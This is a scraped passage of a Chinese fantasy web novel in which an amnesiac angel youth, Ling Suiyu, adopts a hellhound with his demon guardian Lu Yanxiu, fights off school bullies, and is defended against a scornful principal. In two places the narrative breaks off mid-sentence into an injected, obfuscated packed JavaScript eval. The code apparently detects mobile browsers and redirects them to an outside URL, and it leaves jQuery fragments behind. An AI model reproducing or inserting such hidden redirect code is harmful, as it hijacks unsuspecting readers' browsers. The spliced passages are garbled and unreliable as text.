原来,陆琰修说的家里会有个新朋友,是指的养一只宠物。 陆琰修慢悠悠跟在他的后方,目光一直没有从他的身上离开,看他突然瞪大眼睛,立刻靠近关切地询问:“怎么了吗?” 凌岁虞连忙摇了摇头,他嘟囔着:“没什么,我只是不知道选什么。” 他茫然地扫过货柜,怕自己孤陋寡闻闹笑话,说话都很小声,但语气里的疑惑怎么也盖不住。 “不是说,是来选择偏黑暗的新朋友吗,这些小动物,看起来和人类社会正常的宠物没什么区别欸,难道魔界的生物和人类养的宠物没区别吗?” “当然有区别,可这里毕竟是人类社会,带出去一些稀奇古怪的生物,吓到人了可不好。” 陆琰修敲了敲旁边的玻璃窗,看着小狗急匆匆又兴致勃勃地扑上来,吐着舌头微笑时,轻轻勾了勾唇角。 “这群小动物都是店主收留的小流浪,因为魔族的专治区和人类社会有接壤之处,在边缘的魔族生物经常回和人类社会的流浪小动物结合,生下后代,这些动物虽然有普通小动物的外形,但体质还是被影响了。” “性格,习性,生存方式都和正常宠物不同,不能够被普通人类饲养,本身能力又不足以在魔界生存,因此死亡率极高。” “我就派了人开个店专门收容它们,让混在人类社会的魔族们领养它们回去作伴。” 凌岁虞歪了歪头,去看陆琰修,他的眼神很温柔,看着小动物们时仿佛在发光。 明明是这样一个心软的人,外界的评价怎么会是心狠手辣,冷酷无情呢。 果真传言不可信。 “你有合眼缘的小朋友吗。”陆琰修有点好奇,他不太清楚凌岁虞到底喜欢什么样的小动物,他猜测可能会是小猫或者小狗,据他所知,很多天使都会选择毛茸茸的可爱的小动物,尤其偏爱毛色浅淡的品种猫狗。 他已经做好了领一只布偶或者金毛的准备了。 凌岁虞却摇头,他认真道:“我不想要这些。” “那你喜欢什么样的。” 凌岁虞比划了一下,他怀着一点点的私心,想要更加靠近魔族。 “我想要很厉害的,能够保护我,给我安全感的,最好聪明一点,这样我可以和他一起玩。” 说到最后,他还是藏不住自己的心思,眼睛亮着光,兴奋地问:“哥,我能有一个纯魔界的新朋友吗,那肯定会很酷。” 陆琰修隐隐猜到凌岁虞会给他一个特殊的答案,他饶有兴致地点了点头,示意他继续说。 “我能去找地狱三头犬吗?” 12.入学 陆琰修难得一愣,犹豫着要不要答应。 他伸出手,捏了捏凌岁虞的胳膊,少年不明所以地乖乖让他捏,嘴里叽里咕噜地问个不停。 “捏我做什么,我不能和地狱三头犬交朋友吗,是因为它和传闻中的一样,是很凶猛的守门神吗。” “那还是不太一样的,”陆琰修让他屈肘用力,试图摸出点肌肉的痕迹,可到底是无用,怎么捏,手底下软绵绵的一团,他愁得叹了口气,道:“只是地狱三头犬精力充沛,要待在人间不被常人察觉,需要三头轮流沉睡进行伪装。” “如果你想要带它回家,每天至少要遛六次,喂九次,陪玩三次。” “而且它们三头性格往往不一,沉睡苏醒的时间也不定,可能上一秒还是这个,下一秒就换了个,你若是没有及时觉察,它们就会跟你闹矛盾。” “听完了这些,你还想要去和地狱三头犬做朋友吗,只有你保证你接受这些可能,并且会承担抚养的责任,我就带你去领它回家。” 凌岁虞抿唇,他低头,掰着指头认真地算起什么来,表情很严肃,仿佛在思考什么重要问题。 陆琰修没有逼着他立刻说答案。 他垂眸,纤长白皙的手指在他面前不断地弯曲又伸直,他却只注意到了那双手的小拇指指甲盖边上起的倒刺,短短一截,边缘红通通的。 他立刻摸出手机给宋南星发了几条消息。 动作很急切,打的字很多。 凌岁虞偷偷地抬眼看过来,满脸探究,脚挪来挪去变动着方向,后脚跟微微抬起,整个人身子都摇摆起来。 好想知道这人又发了什么,发给谁。 他嘟着唇,有点气,手放进口袋里,狠狠地戳了好几下黑着的手机屏幕,埋怨着手机的不争气。 它怎么就不能机灵一点,自动让陆琰修给他发几条消息,到现在,他们两个人的聊天记录都不满一页,他不满得理直气壮,完全没有考虑过,拿到手机后,他和陆琰修几乎一直在一起,根本没有发消息的必要。 凌岁虞默默等待一分钟,在确认陆琰修发完消息后,一刻不等,迫不及待地抓住了他的袖子,把人的注意力拉回来。 “可是,过几天我就要上学去了,好像没有时间遛它们六次。” 陆琰修早就考虑过了这个问题。 其实在凌岁虞提出想要地狱三头犬时,他就做好了去带一只回家的打算。 “早上的三次归我,下午的三次归你。” “所以你是同意啦!”凌岁虞惊喜地原地蹦起来,一下子扑到了男人怀里,依赖地蹭了蹭他的胸膛,眼里是藏不住的高兴。 陆琰修笑着揉了把他的脑袋。 “我为什么不同意,学校和管理局离得不远,你早上起得来的话,可以和我一起遛一次,我和它一起送你上学。” 凌岁虞眼睛愈发亮,心脏剧烈地跳动着。 他知道,很少有人能够对一个陌生人这么好,这么用心,他应该警惕一点,免得受伤。 可理智抵不过本能,不管心里怎么想,起码在这一刻,他想赖在这个人怀里再久一点,尽情享受这份温柔。 “那我们现在就去接新朋友回家。” “所以你就这么轻易地接了地狱三头犬回家,”宋南星手里捏着四根牵引绳,听着事情的来龙去脉,只感觉匪夷所思,“你不是之前还嫌弃它们太闹腾,太难养,说什么都不愿意带到这边来嘛?” 他当初刚来这边时,人生地不熟倍感寂寞之时,也听人建议养了几只布偶,金毛在家里,养熟了之后邀请陆琰修来他家里看看他的宝贝。 这人来是来了,进门坐在沙发上不到一刻钟就火速离开了,后来怎么邀请都不愿意来第二次,理由是宋南星屋子里毛多,猫太粘人一直蹭个不停。 平日里猫的毛都摸不到一个的宋南星:看看这说的是人话吗? 陆琰修淡定反驳,“不是我养的,是小鱼养的。” 小鱼?宋南星一时间没反应过来,愣了愣,半响才悟了,“你还给小朋友起小名了,小鱼小鱼,还挺可爱的,和他确实像。” 陆琰修却拧了拧眉,横了他眼。 “换个称呼。” “什,什么,换个称呼,”宋南星本来在陪狗一起小跑,拧着个脖子说话,听不太清楚陆琰修的话,还以为自己听岔了,慢吞吞地停下步子,确认,“不是小朋友小名啊,那我叫他什么,总不能一直叫小朋友吧,都不礼貌。” “你自己想,等下次见面问问他,”陆琰修难得露出了几分霸道,“这个只能我叫。” 占有欲真强,宋南星脱口想笑他,可还没来得及出口,手上突然传来一股大力,差点把他整个人带得扑倒在地。 低头一看,地狱三头犬和金毛的眼睛都直直地盯着他,三双不耐,一双天真,相似的是都有些同样的催促之意。 人,你还不跑吗?狗想撒欢。 宋南星胸膛的气都还没顺呢,社畜医生当久了,身体素质不行了,这才跑了十来圈,他就已经大汗淋漓了。 他也不折磨自己,反正这里是管理局的封闭训练场,没有外人,也不用担心它们闹事,干脆松了绳子放它们自己去玩。 他则返回去,一屁股坐到了陆琰修旁边,端起旁边的温水猛喝了几口。 “什么他养的,小朋友要上学,这地狱三头犬还不是由你喂着遛着,你还说你没养。” 陆琰修把电脑放到一边,凝视着两只犬奔跑的背影,不知道想到了什么,眼神温和了许多。 “狗是你遛的,饭也是你喂的,我确实没做什么,不是吗?” 宋南星哽住,细细想了片刻自己屁颠屁颠主动跑过来后干了些什么,没忍住靠了声。 “对啊,我来这里不是来找你帮忙的吗,怎么反倒是帮你做起了免费劳动力了,感情你们的犬,我帮忙养了。” “那你还要我把之前写的养犬笔记带过来干嘛,你还我啊,我亲手写的呢。” 陆琰修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337731|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺手把笔记往自己这边挪了挪,“过几天再还你,我有用。” 似乎也觉得自己做事不太厚道,他又补充,“你要的东西,我翻倍给你。” “那不急着还我,”宋南星立刻换了个说法,“你想看多久就看多久,这笔记就该是你的。” 汪得几声。 地狱三头犬回来了,中间的头嘴里叼着条绳子,挂在金毛脖子上的。 不知道它什么时候去取了旁边的绳子把金毛又套上了,不过看它昂首挺胸带着金毛走的样子,似乎是把自己当主人了。 陆琰修温和地抬手,摸了摸地狱三头犬的脑袋,还顺手给它喂了个肉干。 “你给它取名字了么?”宋南星撸着金毛,好奇地问。 “没有,”陆琰修摇头,“留给小鱼取,他还在翻字典,想要找一个又酷又帅还有内涵的高大上的名字,可能还要等些日子。” “哈哈哈,确实很像小朋友,”宋南星被逗乐了,他笑嘻嘻着说:“你应该告诉他,要取个土名,好养活,比如我家金毛就叫大黄。” “他对三头犬很上心,昨天还溜了三回,不会愿意起随便的名字的,”陆琰修顿了顿,似乎也觉得可爱,“而且他说三个头都不同,就该起三个名字,每个头都会有自己独一无二的称呼。” “不怪你这么上心,确实是个好孩子,”宋南星摸了摸下巴,“你昨天问我的事我忘记说了,手上起倒刺,除了缺维生素,还有可能就是手太干燥了,你平时多让他吃点胡萝卜,还有橙子什么的,顺带给他买点护手霜,滋润一下肌肤。” 护手霜,陆琰修听过这个,但是从来没有用过,不禁皱起了眉头,考虑着要不要把萧羽这小子叫过来,问问有没有推荐品牌。 宋南星拍了拍他的肩膀。 “别考虑太多,就用宝宝霜,这种一般效果比较好,大人小孩都能用。” “你要是实在不放心,我们现在就去商场买,买完了直接给他送过去,他今天不是第一天上学吗,我知道你也一直在想他,怕他受欺负。” “我们正好去看一看,有问题提前解决是吧。” 陆琰修拧起的眉头舒展开,他站起身,顺手讲那本养犬笔记塞进口袋里,朝那边玩得正欢的三头犬招了招手。 “走了,一起去看小鱼。” 同一时间,凌岁虞从卫生间里出来,慢条斯理地冲着手,微凉的水打在手背上,整个手湿漉漉的,有点烦。 他关掉龙头,随手甩了甩手,水溅在洗手台上。 考虑到水可能会不小心打湿附身的同学的衣服,他抽了张纸巾慢慢擦拭起洗手台。 肩膀被人用力地拍了拍,一股子烟味钻进鼻腔,刺得凌岁虞皱了皱眉头。 他听见了少年粗哑的,不怀好意的声音,离得太近,很响很刺耳。 “新同学,给看看翅膀呗。” 果然,还是来了。 凌岁虞平静地想,如果这一次他打架的话,会有人来保护他吗? 13.打架 凌岁虞慢悠悠地转身,目光轻飘飘地扫过前面堵门的几个少年。 五个,不算多。 手上的纸巾吸了水,皱巴巴地拧成一团,他找了下离得最近的垃圾桶,刚好是在厕所旁边,面前这些人不挪开,他是没办法丢垃圾的。 真麻烦。 他叹了口气,干脆把纸巾放到了口袋里。 “同学,有什么事吗,”凌岁虞勾起唇角,露出一个无辜的笑容,他眨了眨眼睛,特意提醒,“校规写了不允许大家在校内随便放出非人特征的,被抓住要被处分的。” 他极其擅长装可怜无害,露出这副懵懂的表情极具有欺骗性。 这是他这么多年来训练出来的。 最开始流浪时,凌岁虞是个刺头,到哪里都不合群,经常和当地的其他小群体干架,可一个打得过,十个打得过,几十上百个他就不行了。 大家都是流浪的,争地盘争生存资源,也不会因为你长得可爱就多照顾你一点。 凌岁虞挨了不少打才悟了这一出,愣是跑到了贵族领地附近,仗着脸嫩年纪小,撒娇卖乖,从一些心善的夫人小姐手里讨点吃的。 如此算是勉强过上了安稳的日子,要不是前些日子,天使中的某个贵族突然发疯一样要取他们这群流浪儿的血去做什么匹配,吓得所有流浪小群体都逃离了原本的领地,往贵族领地跑,凌岁虞也不会冒险离开那里逃到人类社会来。 他可不想被莫名其妙的抽血,万一是去当血包怎么办,那些小群体他也惹不起,一个个都是他的死对头,两方遇上了,他肯定又要四处奔波。 凌岁虞本来还打算至少苟到成年再出天使领地的,不过现在他过得可比他想象中的好一万倍。 “让你露出来就露出来,废什么话,”红衣男不耐烦地揉了揉头发,伸出根手指冲着他指指点点,另一只脚踹了一把门,把过路人好奇的目光隔绝在外,只留一丁点缝隙,“看什么看,是也想进来陪他吗,都给我滚滚滚。” 凌岁虞微不可察地皱了下眉,屏住呼吸,冷冷地盯着近在眼前的手指,差点被传来的油馊味熏吐。 也不知道是几天没洗头了,这红衣男的每根发丝都浸着油光, “这都是我们学校的传统,你不会想做那个特立独行的人吧,凌同学,”卷发男目光阴翳,上下扫视着凌岁虞,手不停地抖动着,比在场的任何一个人看起来还要激动,“不同阶级的人有不同的命运,还是说,你是在拖延时间。” “那你们是不是应该先给我看你们的翅膀,这样子才算公平。” “什么公平,我们五个,你就一个,五对一,谁怕谁你还搞不清楚吗,还跟我们讲公平,你脑子没泡吧,这么不清醒。” “别跟他废话了,直接去扒了他的衣服。” “等会儿可别哭着求饶,让我们放过你。” 凌岁虞依旧没有发火,他略微好奇地打量着这些人,思索着他们背后的人是谁。 他犯不着跟一群被人指示来的小弟计较,而且现在看来,这些人脑子貌似都不太行,说话做事都和小说里最无脑的炮灰差不多。 他天使领地流浪者见多了,对血脉低劣者的外表特征了如指掌,面前的这五个人,没有一个人的血脉在低等以上。 自己本身就不行,不学着抱团取暖,找同盟,反而想着怎么对付新来的人。 真是蠢到了极点。 如果他没有猜错的话,在他来之前,他们应该属于这个学校小群体中的最底层。 这是,看到有新的人来了,迫不及待地想享受欺负他人的感觉? 凌岁虞不理解,但他也不是好欺负的。 他握着拳头,松了松筋骨,眼睛亮起,一副跃跃欲试的样子。 “你们是一起上,还是一个一个来。” 来堵人的几人愣了愣,看到他的反差,第一时间警惕地往后退了几步,吓得抖了抖。 等反应过来自己刚刚做了什么后,领头的黑皮刺头男抹了把鼻子,气得脸一下子就红了,也不知道是不是嫌自己丢人,他冷嗤一声,“对付你这种小菜鸡,我一个人就够了。” 说罢,他就直接抡着深黑色的拳头砸了过来,这一拳迅猛,裹挟着阵阵风声,目标正是凌岁虞的脸蛋,那架势,恨不得把他直接砸得头破血流。 凌岁虞眯起眼睛,往后退了一步,腰抵上洗漱台,未干的一点水浸湿衣服。 他不慌不忙地抬起脚,趁其不备,一弯腰,躲过了这个来势汹汹的拳击,然后反手拽住了少年的胳膊,拧身,目标明确地一脚踹了下去。 毫不拖泥带水,一击必中。 黑皮刺头男面色瞬间狰狞,满脸冒汗,张开嘴无声地跪倒在地,双手往下捂着,浑身一抽一抽的,痛得站都站不起来。 变故太快,那边守着的几个少年完全没有想到黑皮男不出两分钟就被打倒,还挂在脸上的笑都僵住,他们惊疑不定地看着凌岁虞,莫名觉得身下有点凉,直接幻痛了。 “还来打吗?”凌岁虞笑眯眯地问。 剩下几人对视一眼,默契地一起向前扑来,个个面目狰狞,眼带恶光,八只手在空中张牙舞爪。 凌岁虞直接原地跳起,手上拎着刚刚放到洗手台边的拖把,一个横扫,精准地砸到了每个人的脸上,一时间,液体飞溅。 他迅速地后退两步,避开脏水。 扑过来的四人被拖把带着臭味骚味的布条盖脸袭击,差点呕出来,只觉满头满脸都是异味。 凌岁虞还不放过他们,趁着他们闭眼抹脸吐口水的时候,又狠狠踹了几脚,专门往骨头附近踹,看不出痕迹又能让人疼得要死。 “凌岁虞,你找死!” 轻微的侮辱性攻击激怒了几人,凌岁虞蹙眉啧了声,目光迅速扫过卫生间,寻找着其他趁手的工具,单打独斗,他光凭拳头可打不赢,就算打过了估计也会受伤。 他不能让陆琰修担心。 想到这个人,凌岁虞就情不自禁地舒展了眉头,只是下一秒,他突然瞪大眼睛,满脸不可思议,连那几人再次围过来动手都忘记躲。 “哥哥!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347552|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>同一时间,半掩着的门被一脚踹开,陆琰修挟着风而来,以肉眼无法辨别的速度飞快来到了凌岁虞的身边。 嘭嘭嘭几声,还没来得及打到凌岁虞的几个人被一脚踹飞,狠狠地砸到了地上。 凌岁虞被拥进了熟悉的温暖的怀抱。 厕所隐隐的异味消散,此时萦绕在鼻间的,是男人身上好闻的洗衣凝珠的味道。 刚刚从门缝里看到的一闪而过的衣服,竟然真的是他想见的那个人。 凌岁虞突然鼻尖一酸,本来可以自己一个人解决的,就算受点伤也不会很严重,甚至放到过去抱怨两句都会被说娇气的小事,现在他反而不想忍也忍不住了。 他用力地把头埋进了男人怀里,手紧紧地抱住了他的腰,好像找到了可以依靠的人的小猫,被坏人欺负了就喵呜喵呜过来缩在大人怀里求安抚求抱抱,可怜极了。 “小鱼,没事了,我来了,有没有哪里受伤了,指给我看看。” 陆琰修心疼地抚摸着怀里人单薄的背,心里一万个懊恼,要不是临时决定来学校看看环境,他还不会发现,这座在教育管理和慈善方面都广负盛名的学校,竟然还存在这种抱团欺凌的现象。 他不禁有些后怕,要是他再晚来一步,岂不是凌岁虞就要被人欺负死了。 凌岁虞闷闷地摇了摇头,又点了点头,他的眼睛酸酸的胀胀的,像是有什么东西要流出来一样,他极力克制,可是却忍不住。 陆琰修感觉到自己胸前的衣服被什么浸湿了。 是温热的,是持续的。 凌岁虞哭了。 “乖宝宝,不要怕,我来了,有什么事情跟我说,交给我来解决好不好。” 陆琰修低头,声音满是怜惜,他想要把凌岁虞的脸抬起来,擦一下眼泪,可小朋友像是长在了他身上,脸埋得死死的,怎么也不愿意抬头,他只好按着他的后颈,把他抱得更紧了点。 过了几分钟,凌岁虞才慢慢停止了流泪,肩膀也没有抖动了,好像平复了下来,只是还是埋着头。 陆琰修轻轻哄他,“小鱼,跟我说说哪里受伤了,好吗,我想看看。” 凌岁虞发出一声闷哼,声音低哑。 他松开一只手,抬起来,捏住了男人的手,把它带着挪到了自己的后腰处,放到了那块微微突出的骨头上。 那是刚刚抵在洗手台的地方。 因为躲避,这块骨头微微磕碰了下坚硬的台壁,此时带着点酸胀的麻意,是他全身上下,唯一可以说痛的地方。 陆琰修轻柔地揉了揉,动作很轻,生怕把人碰疼了。 “很痛吗,等会儿我先带你到医院去看看,及时治疗,等你好了我就来学校,你放心,欺负你的人,我一个都不会放过。” 凌岁虞心更胀了,不仅没有被责罚,他甚至得到了从来都没有过的偏爱和信任,陆琰修都没有过问过那几个人,毫不犹豫地站在了他这一边。 他不禁有点得意忘形,低着声音,委屈巴巴地控诉,像是在撒娇。 “哥哥,我痛。” 14.嘲讽 又是一声剧烈的摔打声。 被踹了一脚伤痕累累的门嘎啦晃了晃,缓缓地倒下,刚好砸到了还在不断呻吟的少年身上。 惨叫声高了几分。 匆匆追来,上气不接下气的宋南星被这鬼一般的呻吟吓得原地蹦起,抚摸着心口喘了好几口气。 “怎么都倒了,现在什么个情况啊。” “陆队,陆哥,欸,理理我呀,岁虞打架了是吧,打赢了没有呀,我好根据战况调整等会见校领导的态度啊。” 他絮絮叨叨说个不停,嘴巴一刻没有歇过,脚也诚实地往内侧走,经过地上几人身边时,他鼻子敏感地吸了吸。 一瞬间,他的脸色变化莫测,屏住呼吸,双眼震惊,嘟囔着,“天啦,这是去粪坑里滚了一圈吗。” 凌岁虞脸颊在陆琰修胸前蹭了蹭,磨蹭着抬起头来,露出了双眼睛盯着宋南星,声音还软软的。 “是他们先打我的。” “不过我打回去了,我没有吃亏。” 他观察着宋南星的表情,想要看看他会是什么反应,虽然只相处了几天,但是他还是莫名的挺喜欢这个人的。 希望他不要觉得我是个坏小孩。凌岁虞默默许愿,抓着陆琰修衣服的手紧了紧。 宋南星却皱了皱眉头,他快步凑近过来,拍了拍陆琰修的肩膀,急声。 “还抱这么紧干嘛,松开啊,我看看有没有哪里受伤了。” 陆琰修松了手,往后推了一步,让出一个小小的空隙,凌岁虞还没反应过来,整个人就被一把拽了过去,手被翻来覆去地看。 “他背撞到了。” 陆琰修轻声道,他目光下移,一寸寸地检查少年的衣服,立刻就发现了他口袋湿了一块。 他缓慢地顺着袋口摸了进去,捏出来一块湿漉漉的皱成一团的纸巾,纸巾上面还残留着一些灰色痕迹,看起来有点脏。 陆琰修眸光又冷了一个度,他没有想到这是凌岁虞自己不想乱扔垃圾,临时塞到口袋的,还以为这也是这群人欺负人的手段。 他不可抑制地想到了更多折磨人,排挤人的手段,往人身上扔垃圾只是最简单的一种,但这不代表就可以原谅。 小鱼本就失忆,不记得很多事情,没有亲近的人,也没有安全感,他送他来学校,是想要他交更多的朋友,能够开心快乐,而不是让他来担惊受怕,被欺负了说不定还不敢说,只能委屈地哭。 他看那几个少年的眼神不免带上几分狠意。 凌岁虞正乖乖地转身,让宋南星拉起他的后衣摆检查伤口,被磕到的地方是骨头,皮肤薄,再加上他本身也皮肤嫩,不耐碰,虽然他只是微微疼,可伤处看起来很是有几分可怖。 这一会儿的工夫,已经青了一大片,甚至摸起来有点肿。 宋南星使了点劲按了按,立刻听见了凌岁虞一连串嗷嗷的呼痛声。 “痛痛痛,宋医生你轻一点,我受伤了你怎么还这么手下不留情。” 凌岁虞委屈巴巴地控诉。 宋南星却松了一口气,他收回手,庆幸,“只是皮外伤,应该就是磕了下,过几天就好了。” 凌岁虞瘪了瘪嘴,低低哼哼两句,有点不高兴,这么快就诊断结束了,伤这么轻,他还怎么撒娇卖惨让陆琰修狠狠教训一通这些坏蛋。 兴许是注意到了他的情绪低落,陆琰修把他拉回去,熟练地又抱回怀里拍了拍背,动作温柔。 另一只手摊开,露出纸巾。 “这也是他们塞你口袋里的吗?” “那是我没来得及丢的垃圾,我可厉害了,没让他们碰到我。” 凌岁虞眨了眨眼睛,这下换他来安抚陆琰修了,他抱着人的手挪了挪,垫着脚卖力地够着人的脑袋,试图和陆琰修揉他一样去抚摸他。 只可惜他本就身高不够,手还环着陆琰修,任凭怎么努力也碰不到,沮丧地泄力后抿唇不高兴。 陆琰修看出了他的心思,微微附身,低头,额头碰了碰他的额头,两个人亲密地贴了片刻。 那边费劲检查地上几个少年伤势的宋南星眼角抽了抽,大声抗议。 “能不能别黏糊了,知道你们感情好,但就让我一个人在这里工作是不是有点过分了啊啊啊!” 他边喊边面不改色地转了个方向。 那几个后来被陆琰修一击打飞的几个少年情况都还好,只是受了点外伤,最多疼个十天半个月的,宋南星检查时不由啧啧感慨,陆琰修竟然克制住了,没下狠手,只是小小教训了一下。 直到检查到倒在最前头的那个黑皮少年时,他才略微诧异地回头看了一眼。 “你再说一次,伤到哪里了?” 黑皮少年早就脸色惨白,唇瓣干裂,被重复询问,他的眼底闪过怨愤的光,无力张口,他勉强抬了抬手,往下指了指。 宋南星额了声,刚准备尽职尽责地飞快检查了一通,门口传来几声旺旺狗叫声,还有一群人凌乱的脚步声。 地狱三头犬轻盈地跳过躺在地上的门,绕过那群散发着臭味的人,目标明确,屁颠屁颠地跑到了凌岁虞的脚边上,欢快地吐着舌头,用脑袋使劲蹭了几下凌岁虞的小腿。 它仰着脑袋,眼睛亮亮的,像是在邀功。 凌岁虞心立刻就软了,蹲下身抱着它的脑袋,轻轻地在它鼻尖亲了一下。 “乖乖,你怎么过来吗?” 地狱三头犬汪汪两声,头往后转了下。 凌岁虞抬头,这才发现门口多了一堆人,这群中年男子个个西装革履,气喘吁吁,站在门口急促地喘气,大概是学校的领导。 领头的那位是个地中海,看起来也是个恶魔,脸上带着谄媚的笑,看都没看一眼倒了一地的学生,径直朝陆琰修走来。 “琰修啊,好久不见,什么风把你给吹来了。” 陆琰修淡淡皱眉,等到人快到走到面前了,才冷淡地抬起手,做出了个拒绝的动作。 “王校长,我们还是换个地方再谈比较好,这里实在不是什么谈话的好地方。” 王校长一听这语气就知道出事了,他飞速扫了一眼地上躺着的几人,又顺便瞧了眼陆 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“琰修你来得急,可能是没搞清楚情况,看到孩子被围着就以为是他们在欺负人,说不定,他们只是想认识一下新同学,交个朋友呢。” “你呀,就是过于敏感了,你也在我们这待了几个月的,也该了解我们这里的风气。” 凌岁虞从进这里来,就一直被陆琰修护在身后,埋着头没让人看见脸,也看不清这些所谓领导的嘴脸。 此刻听到这人冠冕堂皇的一通套话,顿时气得哼了一声,他抓着陆琰修的手,轻轻勾起指尖,在他的手心里挠了挠。 趁陆琰修反手抓他的时候,他轻盈躲过,垂着头,很认真地一笔一划地在他的手心里写字。 【他,在,说,慌】 陆琰修唇角不可抑制地轻轻勾了勾,一直观察着他的王校长以为自己成功说动他,顿时喜上眉梢,笑眯眯地想要继续开口,却被他下一句话哽住。 “我看不见得吧,交朋友有必要去厕所交吗,是教室太破太吵闹,还是操场环境不好,非得换个臭气熏天的地方,关着门,一群人围着交朋友。” “王院长,你这么说的时候,不觉得好笑吗?” 王院长额角冒出一滴汗,他尴尬而又用力地咳了咳,然后换了一番说辞。 “哎呀,琰修呀,这就不是我多话了,你看看,我们刚刚进去的时候,是谁躺在地上,那不都是我的学生,你瞧瞧,那四个还在唉声叹气,喊着浑身痛呢,这个更是脸色苍白,路都走不好。” “你再看看你家孩子,浑身上下那是一点伤口都没有,你说说,谁欺负谁,再说了,凭你的血脉,谁能欺负你家孩子。” “高等血脉,那都是众星捧月的存在。” 凌岁虞的耳朵突然被捂住,他感受到了来自陆琰修的温度。 可那句刺耳的话却依旧钻进了他的耳朵里。 “你带来的孩子,总不会是贵族都嫌弃厌恶的低等混血吧。” 15.霸气护崽 死一般的寂静。 陆琰修眯起眼睛,原本漫不经心游刃有余的姿态悄无声息地发生了变化。 只要是熟悉他的人都能看出来,他生气了,还是从未有过的暴怒。 宋南星不动声色地往后退了两步。 凌岁虞还看不懂他的情绪,但是他有小动物一般敏感的直觉,王校长的冷言讽语刺了他的心,他抿抿唇,软绵绵地靠在了哥的怀里,拽着人的衣角,委屈巴巴,娇声作气地告状。 “哥哥,我很低等吗,是不是给你丢脸了,今天晚上我还可以跟你一起睡吗,我是不是不配呀。” 他狡黠地露出了狐狸般的笑容,明明眼里都是趣味,偏偏侧着脸埋着头,不让人瞧见。 王校长等人只能看到他圆润的后脑勺。 他搓了搓手,还没弄明白,尬笑,“凌同学误会了,我说的当然不是你,你可是琰修送来的孩子,我哪敢质疑你……” “闭嘴。”陆琰修懒得理他,眼都没抬,冷冰冰地下了封口令。 所有人瞬间噤声。 只眼睁睁看着刚还冷漠如冰的男人,低头就换了副模样,声音温柔,揉着人脑袋的动作轻得像抚摸易受惊的小动物。 陆琰修轻声哄:“小鱼,我还有点事要处理,你先跟着宋医生出去待会好不好?” “不想。”凌岁虞摇摇头,没动,只是轻轻屈指,用手指勾勾他的掌心,好像有些失落。 陆琰修心底怜惜更甚,怒火也如火顺风,越烧越旺,平时看着再小太阳的小孩,如今被这种刺耳的话扎着,怎么可能不受伤。 他再无心情理会校长等人,挖空心思先哄不开心的小朋友,搂着凌岁虞的肩膀,“给你买冰激凌好不好,今天让你多吃一个,可以挑最喜欢的巧克力圣代,给你买大杯的。” “真哒?”凌岁虞眼睛亮亮的,完全是个小朋友似得,恨不得小翅膀也扑腾起来,酒窝甜得要命,从天而降的意外之喜把本就心情不错,装得可怜的小天使砸晕了。 他抱着陆琰修,差点克制不住原地欢快地蹦跶几下。 陆琰修好笑地捏了捏他的鼻子,“我还能哄你不成,乖宝,出去待会儿,小犬进不来,蹲在门口都快要急坏了,再不去看看,它等会就要汪汪叫了。” 对哦,地狱三头犬还在外面,凌岁虞踮起脚尖,担心地往门口望了望,一眼就看到了小犬费劲塞了一半到门缝里的嘴筒子,还有半只黑黢黢的脚丫。 他乖巧地点了点头,不再缠着陆琰修,从他怀里钻出去,一步三回头地走出了屋子。 只是他没看到,在他脚刚跨出时,刚还一脸温和笑意的男人脸色就阴沉下来,他抬眼,冷漠的目光从在场的每个人身上扫过。 在众人瑟瑟发抖站立难安时,优雅地坐下,他漫不经心地抿了一口茶,轻笑。 “现在,我们来正式谈谈,我亲自领来的孩子被抱团欺负这件事吧,王校长,我想我需要一个值得信服的解决方案。” 一出门,凌岁虞就立刻换了个嘴脸。 他唇角带笑,愉悦地轻哼着歌,半蹲下腰,一把把绕着他的小腿团团转的地狱三头犬给抱了起来,压在怀里狠狠地揉搓了一番。 在陆琰修和宋南星面前一向桀骜不驯的小犬,在真正的小主人面前反而温顺又乖巧,前肢缩起,露出软乎乎暖洋洋的肚皮,任小主人把脸埋进来玩,颇为纵容。 跟在后面出来的宋南星一抬眼就看见小犬变脸,眼露震惊。 你竟然是这样的地狱三头犬! 地狱三头犬极通人性,它盯着宋南星的眼睛,很快露出了鄙夷的眼神,敷衍地汪了两声。 他是小孩子,要哄,你都老了,还想要我怎么样,陪你玩玩不错了,要求别太高。 宋南星顿时哽住,手指着这条双标狗,半天说不出话来,实在是气不过,他拳头抵在唇边,咳了两下,把凌岁虞的注意力吸引过来, 凌岁虞好奇地转头盯着他,声音甜甜的,看起来情绪还好。 “宋医生,你生病了吗?” 宋南星这下是真咳了,他用力晃了晃手,努力平复呼吸,额角一跳一跳的,他有点不满地跟凌岁虞商量。 “我没事,就是呛到了,你看我们都这么熟了,你是不是也该叫我一声哥,天天叫宋医生的多生疏啊,我这在外面晃悠也感觉在上班。” 说罢,他便眼巴巴地盯着凌岁虞,满眼期待,好像凌岁虞不改口,他就伤心透顶一样。 凌岁虞被看得一愣,莫名心头一软,抱着小犬的手紧了紧,半晌,唔了一声,没有拒绝,很听话地改了口。 “宋哥。” 宋南星眼睛一亮,立刻就感觉痛快了,不知道为什么,他对凌岁虞一直有一种无法形容的亲近感,就莫名其妙想对这给人好,看他也是各种顺眼,做什么都觉得可爱,这一声哥更是叫得他飘飘然,好像生来他就该被叫这一声哥一样。 他凑上来,揉了一把凌岁虞的脑袋,下手有点重,把本来柔顺的碎发揉得炸成一团。 